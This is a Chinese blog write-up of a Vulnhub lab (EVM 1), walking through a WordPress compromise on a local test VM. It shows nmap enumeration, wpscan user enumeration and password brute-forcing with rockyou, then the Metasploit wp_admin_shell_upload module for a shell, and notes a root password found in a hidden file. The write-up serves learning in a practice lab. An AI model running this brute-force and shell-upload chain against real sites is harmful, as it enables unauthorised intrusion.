Vulnhub:EVM 1靶机

文章描述了一次针对192.168.111.131靶机的渗透测试过程,首先使用nmap的http-enum脚本发现目标是WordPress站点,接着通过wpscan枚举用户并找到用户名c0rrupt3d_brain,然后使用密码字典爆破得到密码24992499。利用这些信息,通过msf的wp_admin_shell_upload模块成功获取shell。最后,在/home/root3r/.root_password_ssh.txt文件中找到root用户的密码willy26。
摘要由CSDN通过智能技术生成

kali:192.168.111.111

靶机:192.168.111.131

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.131

使用nmap的http-enum脚本扫描出目标为wordpress站点,使用wpscan枚举目标用户,得到用户:c0rrupt3d_brain

wpscan --url http://192.168.111.131/wordpress/ -e u

用收集到的用户爆破密码,得到密码:24992499

wpscan --url http://192.168.111.131/wordpress/ -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt

使用msf的exploit/unix/webapp/wp_admin_shell_upload模块拿shell

msfdb run
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.111.131
set username c0rrupt3d_brain
set password 24992499
set targeturi /wordpress

提权

在/home/root3r/.root_password_ssh.txt发现root用户的密码:willy26

flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值